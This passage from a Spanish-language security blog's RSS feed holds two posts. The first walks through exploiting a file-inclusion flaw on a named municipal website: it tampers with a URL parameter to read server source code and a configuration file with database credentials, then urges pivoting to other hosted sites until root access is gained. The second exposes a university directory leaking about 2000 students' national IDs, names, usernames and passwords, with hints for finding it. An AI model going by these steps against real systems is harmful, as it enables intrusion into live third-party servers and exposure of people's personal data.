		<description><![CDATA[Una vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se parsea una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función &#8220;include&#8221;, &#8220;fread&#8221;, &#8220;file&#8221;, etc. Son vulnerabilidades muy comunes y comprometen a [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-628" style="margin: 5px;" title="unprotected" src="http://blog.zerial.org/wp-content/uploads/2009/07/unprotected1.jpg" alt="unprotected" width="144" height="217" />Una vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se <em>parsea</em> una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función &#8220;include&#8221;, &#8220;fread&#8221;, &#8220;file&#8221;, etc.</p>
<p>Son vulnerabilidades <strong>muy</strong> comunes y comprometen a todo el servidor, si un atacante con las capacidades necesarias puede obtener acceso al servidor hatsa ganar root.</p>
<p>Les voy a mostrar cómo hacerlo y el impacto que puede llegar a tener.<br />
El sitio elegido es el de la <a href="http://www.municastro.cl" target="_blank">&#8220;Ilustre Municipalidad de Castro&#8221;</a>, sitio hecho en ASP <span style="text-decoration: line-through;">puaj</span>.</p>
<p>Antes de publicar todo esto, me di el trabajo de comunicarlo a los encagrados del sitio web sin obtener respuesta, por lo que asumo que no les interesa la seguridad y asi como yo, cualquier persona podría hacerle algo al sitio web o al servidor, asi que me di la libertad de tomar este sitio como ejemplo didactico.</p>
<p><span id="more-607"></span></p>
<p><strong>Paso a paso</strong></p>
<p>Navegamos el sitio buscando alguna vulnerabilidad, fijandonos en los links, formularios, etc. Si nos damos cuenta, situando el cursor sobre el menu de la izquierda podemos ver enlaces del tipo <em>http://www.municastro.cl/&lt;seccion&gt;?Seccion=&lt;archivo a incluir&gt;</em> por ejemplo <a href="http://www.municastro.cl/Cultura.asp?Seccion=cultura_resena_historica.htm" target="_blank">http://www.municastro.cl/Cultura.asp?Seccion=cultura_resena_historica.htm</a> lo que a simple vista parece ser vulnerable a LFI cambiando el valor de la variable &#8220;Seccion&#8221;. Probemos, cambiemos cultura_resena_historica.htm por cualquier texto:</p>
<p><img class="aligncenter size-full wp-image-619" title="municastro1" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro1.png" alt="municastro1" width="460" height="36" /></p>
<p>Nos mostrará un mensaje como el siguiente:</p>
<p><img class="aligncenter size-full wp-image-620" title="municastro2" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro2.png" alt="municastro2" width="306" height="111" />Eso confirma nuestra teoría de que lo que hace el sistema es incluir directamente el archivo cuyo nombre es pasado mediante la variable Seccion, entonces empezamos a probar e intentamos incluir el mismo archivo Cultura.asp</p>
<p><img class="aligncenter size-full wp-image-621" title="municastro3" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro3.png" alt="municastro3" width="462" height="30" /></p>
<p>Nos mostrará<img class="aligncenter size-full wp-image-622" title="municastro4" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro4.png" alt="municastro4" width="497" height="423" /></p>
<p>Lo que claramente es el código fuente del fichero Cultura.asp. Para verlo un poco más claro podemos presionar control+u (en FF, para ver el código fuente) donde podremos ver</p>
<p><img class="aligncenter size-full wp-image-623" title="municastro5" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro5.png" alt="municastro5" width="334" height="152" /></p>
<p>¿Se dieron cuenta? Hay un fichero que se incluye llamado <strong>conMuniCastro.inc</strong>, en el que, según yo, están los datos de conexion a la base de datos. Comprobemos mi teoría:</p>
<p><img class="aligncenter size-full wp-image-624" title="municastro6" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro6.png" alt="municastro6" width="498" height="35" /></p>
<p><img class="aligncenter size-full wp-image-625" title="municastro7" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro7.png" alt="municastro7" width="594" height="350" /></p>
<p>En la última linea de la imágen, podemos ver como el  usuario y la password quedan a la vista de todos. Ahora lo único que queda, es buscar otros sitios alojados en el mismo servidor y empezar a incluir sus archivos para ver su código fuente e ir intentando ingresar por ftp, cpanel, etc hasta ganar algún tipo de acceso más privilegiado.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/"  data-text="Explotando vulnerabilidades LFI y Directory Transversal en un sitio web" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Información sensible expuesta publicamente en la UCV</title>
		<link>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/</link>
		<comments>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/#comments</comments>
		<pubDate>Fri, 29 May 2009 01:10:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[universidad]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=316</guid>
		<description><![CDATA[Al igual que en el post anterior, que hablaba sobre la vulnerabilidad en uno de los sitios de la Universidad de Chile, esta vez es el turno de la Universidad Catolica de Valparaiso (UCV), especificamente el campus virtual. Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo [...]]]></description>
			<content:encoded><![CDATA[<p>Al igual que en el <a href="http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/" target="_self">post anterior</a>, que hablaba sobre la vulnerabilidad en <a href="http://bibliodoc.fen.uchile.cl" target="_self">uno de los sitios</a> de la Universidad de Chile, esta vez es el turno de la <a href="http://www.ucv.cl" target="_self">Universidad Catolica de Valparaiso</a> (UCV), especificamente el <a href="http://www.campus-ucv.cl/" target="_self">campus virtual</a>.</p>
<p>Al parecer el sitio estaba en mantenimiento ya que me encontre con varios mensajes que del tipo &#8220;<em>Este sitio esta en mantencion</em>&#8220;, pero esto no es excusa. Dejar un directorio que contiene informacion sensible de clientes, empleados, empresa, alumnos, etc <strong>no</strong> puede estar publicado en internet con permisos de <em>listar directorio</em> habilitado. Existen varias formas de proteger el contenido de un directorio desde la configuracion del fichero <em>.htaccess</em> hasta algo tan simple como el crear un <em>index.php|html|htm</em> vacios, sin dejar de lado que se puede hacer agregado reglas de acceso a la configuracion del dominio.</p>
<p>Bueno, encontré un directorio con información sensible de alumnos de esa Universidad, quizas la informacion es un poco antigua pero que importa eso si ni el nombre ni el rut de las personas cambia. Intenté comunicar con la webmaster del sitio pero no obtuve respuesta.</p>
<p>En este caso, se han expuesto en internet datos de aproximadamente 2000 alumnos.</p>
<p style="text-align: left;">
<p><center><br />
<div id="attachment_321" class="wp-caption aligncenter" style="width: 317px"><a href="http://blog.zerial.org/wp-content/uploads/2009/05/datos_acceso_enviados.png"><img class="size-full wp-image-321" title="t_datos_acceso_enviados" src="http://blog.zerial.org/wp-content/uploads/2009/05/t_datos_acceso_enviados.png" alt="Informacion hecha publica por la UCV" width="307" height="226" /></a><p class="wp-caption-text">Informacion hecha publica por la UCV</p></div></center></p>
<p style="text-align: left;">En esa imagen podemos ver un poco de la informacion que aparece en el <em>directorio vulnerable</em>. Es un fichero separado por <em>gatos</em> (###) donde podemos ver que lo mas interesante son las columnas 3, 4, 5 y 6 que corresponden al rut, nombre completo de la persona, nombre de usuario y password respectivamente.</p>
<p style="text-align: left;"><span id="more-316"></span></p>
<p style="text-align: left;">En este directorio podemos encontrar varios archivos mas, como un sistema empaquetado que si lo descargamos podremos ver su codigo fuente y posiblemente los datos de conexion a las bases de datos como usuario y contraseña, entre otras cosas.</p>
<p style="text-align: left;">
<p><center><div id="attachment_323" class="wp-caption aligncenter" style="width: 255px"><img class="size-full wp-image-323" title="directorio" src="http://blog.zerial.org/wp-content/uploads/2009/05/directorio.png" alt="Directorio vulnerable" width="245" height="536" /><p class="wp-caption-text">Directorio vulnerable</p></div></center></p>
<p>Lo que se puede hacer con la informacion disponibles depende de la imaginacion que tenga cada uno. Yo no se como las entidades encargadas de proteger nuestra informacion caen en cosas tan <strong>basicas</strong> como estas. Por motivos de etica creo que no seria correcto que publicara la direccion de la web, aunque se que la si la <em>googlean</em> de la forma correcta, con los datos que les entregué, la encontrarán.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Finformacion-expuesta-universidad-catolica-valparaiso%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/"  data-text="Información sensible expuesta publicamente en la UCV" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

